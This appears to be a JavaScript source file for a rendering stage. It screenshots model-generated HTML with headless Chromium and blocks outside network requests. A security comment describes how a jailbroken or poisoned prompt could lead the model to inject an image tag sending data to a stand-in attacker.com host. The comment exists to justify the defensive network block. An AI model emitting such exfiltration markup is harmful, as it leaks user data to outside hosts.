← back to Visual Factory

src/stages/render.js

60 lines

// Stage 4 — render. Playwright headless Chromium → PNG screenshot at target dimensions.

const fs = require('node:fs/promises');
const path = require('node:path');
const { chromium } = require('playwright');

async function runRender({ htmlPath, width, height, signal = null }) {
  if (signal?.aborted) throw new Error('render aborted before launch');
  const pngPath = htmlPath.replace(/\.html$/, '.png');
  const browser = await chromium.launch({ headless: true });
  // If abort fired during launch, the addEventListener below registers on an
  // already-aborted signal and never fires — render would proceed in the
  // background after withTimeout has rejected. Check now and bail clean.
  if (signal?.aborted) {
    await browser.close().catch(() => {});
    throw new Error('render aborted during chromium launch');
  }
  // Wire external abort to browser.close() so a stage timeout actually kills
  // the headless Chromium instead of leaving a zombie process eating GPU.
  let onAbort = null;
  if (signal) {
    onAbort = () => { browser.close().catch(() => {}); };
    signal.addEventListener('abort', onAbort, { once: true });
  }
  try {
    const ctx = await browser.newContext({ viewport: { width, height }, deviceScaleFactor: 2 });
    // SECURITY (P0 fix 2026-05-04): the compose prompt asks qwen3:14b to use
    // "no external assets" — but that's an instruction, not enforcement. A
    // jailbroken/poisoned brief can inject `<img src="https://attacker.com/?
    // exfil=...">` and Playwright will fire the request before screenshot
    // (waitUntil: 'networkidle' even WAITS for it). Block all network except
    // file:// (the page itself) and Google Fonts (the one intentional dep).
    await ctx.route('**/*', (route) => {
      const u = new URL(route.request().url());
      if (u.protocol === 'file:') return route.continue();
      if (u.hostname === 'fonts.googleapis.com' || u.hostname === 'fonts.gstatic.com'
          || u.hostname.endsWith('.fonts.googleapis.com') || u.hostname.endsWith('.fonts.gstatic.com')) {
        return route.continue();
      }
      return route.abort('blockedbyclient');
    });
    const page = await ctx.newPage();
    await page.goto(`file://${path.resolve(htmlPath)}`, { waitUntil: 'networkidle', timeout: 30000 });
    // Allow Google Fonts to settle. Abortable so a cancelled stage doesn't
    // sit here for the full 1.5s.
    await Promise.race([
      page.waitForTimeout(1500),
      new Promise((_, rej) => signal?.addEventListener('abort', () => rej(new Error('render aborted during font-settle')), { once: true })),
    ]);
    await page.screenshot({ path: pngPath, fullPage: false, omitBackground: false, clip: { x: 0, y: 0, width, height } });
    const stat = await fs.stat(pngPath);
    return { pngPath, bytes: stat.size, width, height };
  } finally {
    if (signal && onAbort) signal.removeEventListener('abort', onAbort);
    await browser.close().catch(() => {});
  }
}

module.exports = { runRender };